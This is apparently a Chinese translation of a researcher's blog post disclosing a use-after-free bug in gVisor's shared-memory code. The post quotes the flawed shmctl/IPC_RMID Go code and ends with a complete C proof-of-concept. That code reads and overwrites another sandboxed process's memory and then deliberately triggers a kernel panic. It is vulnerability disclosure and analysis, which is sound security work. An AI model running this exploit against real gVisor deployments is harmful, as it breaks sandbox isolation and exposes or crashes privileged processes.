gVisor容器沙箱权限提升漏洞深度解析

本文详细分析了Google gVisor容器沙箱中的共享内存实现漏洞,该漏洞允许非特权进程读取和写入沙箱内高权限进程的内存,包括root进程。文章包含漏洞原理、代码分析和概念验证代码。

gVisor容器沙箱中的权限提升漏洞

Max Justicz
2018年11月14日

tl;dr gVisor是Google为运行不完全可信代码的容器提供的沙箱技术。它是一个在用户空间运行的Linux内核Golang重新实现,拦截容器系统调用并限制直接接触主机内核的操作。我发现gVisor的共享内存实现存在一个问题,允许沙箱内的非特权进程读取和写入沙箱内其他更高权限进程的内存,包括以root身份运行的进程。

以下是我运行概念验证的视频,演示了读取和覆盖无关进程中的某些内存(代码在文章末尾):

漏洞详情

释放后映射

gVisor在其内部内存管理的各个部分使用引用计数,而这个漏洞允许我们降低支持shmget共享内存区域的"平台"内存的引用计数,即使我们进程的虚拟地址空间中仍然有对其的映射。然后,支持内存被回收并交给另一个(可能更高权限的)进程,用于其他用途。这个漏洞基本上是一个释放后使用问题。

问题源于sys_shm.go中的这段代码,它实现了shmctl系统调用:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
func Shmctl(t *kernel.Task, args arch.SyscallArguments) (uintptr, *kernel.SyscallControl, error) {
  id := args[0].Int()
  cmd := args[1].Int()
  buf := args[2].Pointer()
...
  switch cmd {
...
  case linux.IPC_RMID:
    segment.MarkDestroyed()
    return 0, nil, nil

segment.MarkDestroyed()无条件地减少共享内存对象的引用计数,最终在shm.go中减少平台内存范围本身的引用计数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
func (s *Shm) destroy() {
  s.registry.remove(s)
  s.p.Memory().DecRef(s.fr)
}

func (s *Shm) MarkDestroyed() {
  s.mu.Lock()
  defer s.mu.Unlock()
  // 防止在注册表中找到该段
  s.key = linux.IPC_PRIVATE
  s.pendingDestruction = true
  // 当引用计数变为负数时,上面的destroy()将被调用
  s.DecRef() 
}

因此,如果s.fr范围内的平台内存区域的引用计数为1,并且我们调用shmctl(shmid, IPC_RMID, NULL)直到触发Shm对象的销毁,那么支持内存可以被内核回收供其他进程使用。

当我们最初使用shmget()创建共享内存对象时,平台内存的引用计数初始化为1,但在访问内存并发生页面错误时,它会增加到2。因此,如果在触发DecRef()漏洞之前读取或写入映射的共享内存区域,利用就会变得更加困难。

以下是我为上面视频准备的概念验证代码,带有解释其工作原理的注释:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/shm.h>
#include <unistd.h>

#define SHMKEY 1234567
#define SHMSIZE ((size_t) 4096)

int main()
{
  // 分叉一个进程,分配包含字符串'OOPS'的大量内存,
  // 如果在该字符串中找到'A'字节(表示内存已被其他进程覆盖),则退出
  if (fork() == 0) {
    sleep(1);
    execl("/usr/bin/python3", "python", "-c", "x = 'OOPS'\n"
                                              "while True:\n\t"
                                                "x += 'OOPS'\n\t"
                                                "if 'A' in x:\n\t\t"
                                                  "print('\\n\\n***Other process: memory was overwritten***')\n\t\t"
                                                  "exit(0)\n", NULL);
    return 0;
  }

  // 创建可读写的共享内存区域
  int shmid = shmget(SHMKEY, SHMSIZE, IPC_CREAT | 0600);

  // 将共享内存映射到我们的虚拟地址空间
  volatile unsigned char *shmm = shmat(shmid, NULL, 0);

  printf("shmm addr: %p\n", shmm);
  printf("Decreasing refcount\n");

  // 通过释放支持共享内存的平台内存来触发我们的漏洞
  shmctl(shmid, IPC_RMID, NULL);
  shmctl(shmid, IPC_RMID, NULL);

  // 给Python进程一些时间来使用内存
  sleep(2);

  printf("Allocation from another process:\n");

  // 打印页面中的一些字节,这些字节可能已被分配给Python进程的大字符串
  for (size_t i = 0; i < 200; i++) {
    if (i % 20 == 0) {
      printf("\n");
    }
    if (shmm[i] != 0) printf("\x1B[32m");
    printf("%02X ", shmm[i]);
    if (shmm[i] != 0) printf("\x1B[0m");
    fflush(stdout);
  }

  // 演示我们可以覆盖其他进程的内存。另一个进程一旦检测到我们用0x41覆盖了部分字符串,就会退出
  memset((char *)shmm, 0x41, SHMSIZE);

  // 睡眠几秒钟,以免立即panic
  sleep(2);

  // 当进程退出时,内核将尝试DecRef一个引用计数已经为负的对象,因此会panic
  printf("\nTime to panic...\n");

  return 0;
}

结论

gVisor是一个编写良好但极其雄心勃勃的项目;重新实现Linux内核是困难的。我一直在思考一些检测和缓解这类漏洞的方法。也许当内存区域的DecRef()减少到0时,内核可以检查它是否存在于任何进程的虚拟地址空间中。我不确定这是否会太昂贵。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计